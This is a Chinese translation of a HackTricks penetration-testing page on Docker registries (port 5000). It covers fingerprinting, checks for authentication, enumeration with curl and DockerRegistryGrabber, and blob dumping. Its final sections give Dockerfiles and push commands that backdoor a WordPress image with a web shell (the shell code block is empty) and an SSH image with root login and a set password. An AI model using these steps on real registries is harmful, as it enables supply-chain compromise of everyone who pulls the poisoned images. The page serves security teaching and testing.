# 5000 - Docker注册表渗透测试
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## 基本信息
**来自**[**这里**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:\~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**。**
**Docker注册表**是一个用于存储和分发命名的Docker镜像的系统。同一个镜像可能有多个不同的版本,通过它们的标签进行标识。\
Docker注册表被组织成**Docker仓库**,一个仓库包含了特定镜像的所有版本。注册表允许Docker用户从本地拉取镜像,以及在适当的访问权限下将新镜像推送到注册表中。
默认情况下,Docker引擎与**DockerHub**交互,DockerHub是Docker的公共注册表实例。然而,也可以在本地运行开源的Docker注册表/分发系统,以及一个商业支持的版本称为**Docker Trusted Registry**。还有其他在线公共注册表可用。
要从本地注册表中拉取镜像,可以运行类似以下命令:
```
docker pull my-registry:9000/foo/bar:2.1
```
如果您从位于`my-registry`域,端口`9000`的本地注册表中拉取带有标签`2.1`的`foo/bar`镜像的版本,您可以运行以下命令在本地拉取相同的镜像:
```bash
docker pull my-registry:9000/foo/bar:2.1
```
如果您使用DockerHub,并且`2.1`也是最新版本,您可以运行以下命令在本地拉取相同的镜像:
```
docker pull foo/bar
```
**默认端口:** 5000
```
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
## 发现
发现该服务运行的最简单方法是在nmap的输出中找到它。无论如何,请注意,由于它是一个基于HTTP的服务,它可能在HTTP代理后面,nmap无法检测到它。
一些指纹:
* 如果访问`/`,响应中没有返回任何内容
* 如果访问`/v2/`,则返回`{}`
* 如果访问`/v2/_catalog`,您可能会得到:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
## 枚举
### HTTP/HTTPS
Docker注册表可以配置为使用**HTTP**或**HTTPS**。所以你可能需要做的第一件事是**找出正在配置的是哪一个**:
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: " to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
### 身份验证
Docker注册表也可以配置为需要**身份验证**:
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
如果Docker Registry需要身份验证,您可以[**尝试使用此方法进行暴力破解**](../generic-methodologies-and-resources/brute-force.md#docker-registry)。\
**如果找到有效的凭据,您需要使用它们**来枚举注册表,在`curl`中可以像这样使用它们:
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
### 使用DockerRegistryGrabber进行枚举
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber)是一个用于枚举/转储Docker注册表(无身份验证或基本身份验证)的Python工具。
```bash
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```
### 使用curl进行枚举
一旦您**获得了对Docker注册表的访问权限**,以下是您可以使用的一些命令来进行枚举:
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#检查每个blob的内部
tar -xf blob1.tar #执行此命令后,检查当前目录中创建的新文件夹和文件
{% hint style="warning" %}
请注意,当您下载并解压缩blob文件和文件夹时,它们将出现在当前目录中。**如果您将所有blob文件下载并解压缩到同一个文件夹中,它们将覆盖先前解压缩的blob文件的值**,所以请小心。最好将每个blob文件解压缩到不同的文件夹中,以检查每个blob文件的确切内容。
{% endhint %}
### 使用docker进行枚举
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
#ed05bef01522 2 years ago ./run.sh 46.8MB
# 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
# 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
# 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
# 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
### 在WordPress镜像中植入后门
在你发现一个保存WordPress镜像的Docker Registry的情况下,你可以植入后门。\
**创建**后门:
{% code title="shell.php" %}
```bash
```
创建一个 **Dockerfile**:
{% code title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
{% endcode %}
**创建**新的镜像,**检查**它是否已创建,并**推送**它:
```bash
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it
```
### 在SSH服务器镜像中植入后门
假设你发现了一个带有SSH镜像的Docker Registry,并且你想要在其中植入后门。\
**下载**该镜像并**运行**它:
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
从SSH镜像中提取`sshd_config`文件:
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
并修改为:`PermitRootLogin yes`
创建一个名为**Dockerfile**的文件,内容如下:
{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}
**创建**新的镜像,**检查**它是否已创建,并**推送**它:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
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- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。